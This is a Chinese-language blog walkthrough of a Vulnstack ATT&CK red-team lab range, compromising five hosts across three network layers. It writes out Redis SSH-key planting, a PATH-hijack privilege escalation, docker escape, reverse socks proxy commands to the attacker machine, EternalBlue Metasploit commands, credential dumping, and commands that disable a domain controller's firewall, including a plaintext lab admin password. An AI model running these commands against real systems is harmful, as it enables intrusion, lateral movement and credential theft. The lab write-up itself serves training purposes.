这么久没打vulnhub全是因为在吃这一套内网靶场(绝对没有在摸鱼 ),现在把我的思路写下来
前言 【Vulnstack内网渗透|Vulnstack内网靶场渗透(ATT&CK实战系列-红队评估(七))】这是Vulnstack里的一套靶场,ATT&CK实战系列-红队评估(七)
这是靶场的链接:http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
网络环境 整个靶场环境一共五个靶机(总共27.8 GB),分别位于三层网络环境中:
文章图片
DMZ区IP段为192.168.1.1/24
第二层网络环境IP段为192.168.52.1/24
第三层网络环境IP段为192.168.93.1/24
靶机环境的配置 靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应的主机上启动靶机服务:
DMZ区的 Ubuntu 需要启动nginx服务:
sudo redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F
第二层网络的 Ubuntu需要启动docker容器:
sudo service docker start
sudo docker start 8e172820ac78
第三层网络的 Windows 7 (PC 1)需要启动通达OA:
C:\MYOA\bin\AutoConfig.exe
注意事项 开全部靶机,16G是最低配置,内存不够可以分开渗透
参考了两位大佬的博客:官方writeup与这一篇
外网渗透
信息收集 第一步肯定是我们熟悉的信息收集啦
先拿到靶机的IP,然后进行namp扫描
文章图片
文章图片
访问一下80和81端口
80端口
文章图片
404页面,我们再访问81端口
81端口
文章图片
是Laravel框架搭建的,版本为8.29.0
我们百度一下这个框架的漏洞,发现有一个远程代码执行漏洞
文章图片
Redis未授权访问 我们尝试一下redis未授权访问
文章图片
发现是存在这个漏洞的,这就好办了,我们创建一个ssh密钥,然后上传上去,就可以直接ssh连接到靶机了
文章图片
文章图片
这里添加换行符是为了跟redies本身的缓存分开来
文章图片
然后我们直接上传即可
文章图片
然后我们登录进去,设置一下保存的路径跟文件名然后保存即可
文章图片
文章图片
成功获取到了root权限
我们先把它的shell反弹到msf先
文章图片
文章图片
文章图片
成功上线,我们再拿一下另外一台靶机的shell
Laravel Debug模式 RCE漏洞(CVE-2021-3129) 我们去github把exp下载下来
Github地址:https://github.com/zhzyker/CVE-2021-3129
下载下来后我们测试一下
文章图片
成功运行,我们修改一下exp的源码,把id改成写入一句话木马
文章图片
再运行一下之后直接用蚁剑连接即可
文章图片
文章图片
我们使用蚁剑的虚拟终端,反弹一下shell到kali上
文章图片
文章图片
成功反弹了shell,但是反弹过来的shell的主机名很奇怪,猜测应该是在docker容器里面
文章图片
先不管那么多,先看看有没有什么可以提权的东西
文章图片
发现用户jobs下面有个可执行文件,我们去看看
文章图片
发现执行了ps这个命令,这就好办了,我们创建一个虚假的ps,然后改一下PATH,就可以得到root权限了
文章图片
echo '/bin/bash' > /tmp/ps
chmod 777 /tmp/ps
export PATH=/tmp:$PATH
echo $PATH
修改好之后,我们重新运行一下shell文件
文章图片
成功获取到了root权限,我们现在可以考虑一下docker逃逸了
Docker特权模式逃逸 我们使用fdisk -l查看一下磁盘文件
文章图片
发现有/dev/sda1,我们创建一个文件夹,然后把这个文件挂载到我们创建的文件夹下
文章图片
挂载成功,我们看一下有没有用户
文章图片
发现存在一下名为ubuntu的用户,这样就好办了,我们创建一个公钥把它添加到靶机的私钥里,就可以直接使用ssh登录了
文章图片
文章图片
ubuntu:
ssh-keygen -f hello
cat hello.pub
靶机:
cd /hack/home/ubuntu/.ssh
echo 'cat hellow.pub得到的东西' > authorized_keys
文章图片
成功登录,但是我们并不是root权限,我们查看一下靶机的内核,看看有没有漏洞
文章图片
发现有个叫cve-2021-3493的漏洞,刚好包含了这个版本
Linux kernel特权提升漏洞(CVE-2021-3493)
我们先把exp复制进靶机
Github地址:https://github.com/briskets/CVE-2021-3493
编译下,然后运行
文章图片
文章图片
文章图片
成功获取到root权限,我们也把它的shell反弹到msf
文章图片
文章图片
解下来,我们使用DMZ区域的ubuntu添加一个通往52网段的路由
文章图片
然后我们扫描一下这个网段还有没有开放的靶机
文章图片
文章图片
还有一台30存活,但是我们的nmap在攻击机上,这个添加的路由之支持msf里面的工具,所以我们还需要搭建一个代理
我们使用ew工具搭建一个代理
内网渗透 我们先把工具上传到靶机
文章图片
然后在本地使用如下命令开始监听
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
意思是把1080端口的请求转发到8888端口
然后在目标机器上输入
./ew_for_linux64 -s rssocks -d 192.168.2.18 -e 8888
文章图片
之后就连接成功了,我们还需要配置一下proxy的代理
文章图片
文章图片
这样只要在想使用的命令前加上proxychains4就可以让他走这个代理了
我们使用这个方法,nmap扫描一下刚刚发现的30靶机
proxychains4 nmap -Pn -sT -sV 192.168.52.30
文章图片
发现开放了一个网页,端口为8080,我们访问看看,注意,火狐也要配置代理
文章图片
配置好后我们访问
发现是一个通达OA的办公系统
查了一下发现是存在一个任意用户登录,文件上传漏洞的,我们可以尝试上传一个webshell
关于通达OA漏洞更详细的讲解:https://blog.csdn.net/szgyunyun/article/details/107104288按照教程的方法,我们尝试上传一个webshell
文章图片
上传成功,我们看看能不能利用
文章图片
利用成功了,并且权限是最高的为system
然后就是反弹一个shell到msf了
文章图片
把这一串powershell命令放到burp执行
文章图片
文章图片
成功反弹了shell
拿下域控 我们查看一下他的域信息
文章图片
发现有一个whoamianony域
我们使用kiwi模块尝试抓一下密码
文章图片
报错了,说要64位进程才可以运行,我们随便找一个64位进程迁移一下即可
文章图片
文章图片
抓到了域控的账号密码
文章图片
还有一个bunny的账号密码
第三层网络渗透
已经拿下了第二层所有的靶机,只剩下最后两个第三层的主机,我们使用之前的sessions添加一个通往93网段的路由
文章图片
我们扫描一下,看看有什么靶机存活
文章图片
有20,30和40,其中20已经被我们拿下了,只剩下30跟40了,我们重新搭建一个代理,这次代理要带我们进入93网段,得用其中一台机子当踏板
我们把ew上传到20这台机子
文章图片
我们现在攻击机执行如下命令
./ew_for_linux64 -s lcx_listen -l 1090 -e 9998
然后在20这台机子上执行,建立正向socks代理
ew_for_Win.exe -s ssocksd -l 999
然后在我们最开始拿到的DMZ区域的ubuntu上执行,将攻击机的9998端口跟20机的999端口连起来
./ew_for_linux64 -s lcx_slave -d 192.168.2.18 -e 9998 -f 192.168.52.30 -g 999
文章图片
成功连接,我们再修改一下配置文件
文章图片
文章图片
windows嘛,懂得都懂,我们首先使用永恒之蓝打一下40这台机子
先给msf设置一下代理
文章图片
setg Proxies socks5:127.0.0.1:1090
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
exploit
文章图片
芜湖!成功得到shell,但当我在打这个字的时候,他就直接断掉了…
由于某种原因,我们重新打一遍
文章图片
获取到了四台靶机的shell了,只剩下一个DC域控了
还记得我们之前抓到的域控密码吗,我们使用尝试登录一下域控
文章图片
文章图片
利用成功了,但是并没有反弹shell回来,有可能是防火墙拦截了,我们使用20这台机子登录到域控,把防火墙关闭即可
首先登录一下
net use \192.168.93.30\ipc$ “Whoami2021” /user:“Administrator”
文章图片
添加一个关闭防火墙的服务,然后在运行一下我们创建的服务即可
sc \192.168.93.30 create unablefirewall binpath= “netsh advfirewall set allprofiles state off”然后我们重新利用一下漏洞
sc \192.168.93.30 start unablefirewall
文章图片
成功获取到了shell,至此,五台靶机的shell,都已经拿到了
推荐阅读
- 渗透测试|内网渗透-代理穿透-提权-注入-msf-中间件-域渗透-日志清除-学习资源
- 渗透测试|MSF图形化界面Viper(炫彩蛇)下载与使用
- Ubuntu composer错误(你的系统缺少所请求的PHP扩展curl)
- 如何在Ubuntu中使用XAMPP在本地设置虚拟主机
- 如何使用NVM在Ubuntu 16.04上安装任何版本的Node.js
- 在Ubuntu 16.04 Terminal中伪造好莱坞黑客终端
- 2021-06-22 # Linux自有服务与软件包管理
- linux|linux+ros安装及配置
- Linux|VMware安装Linux报错解决--基于windows8.1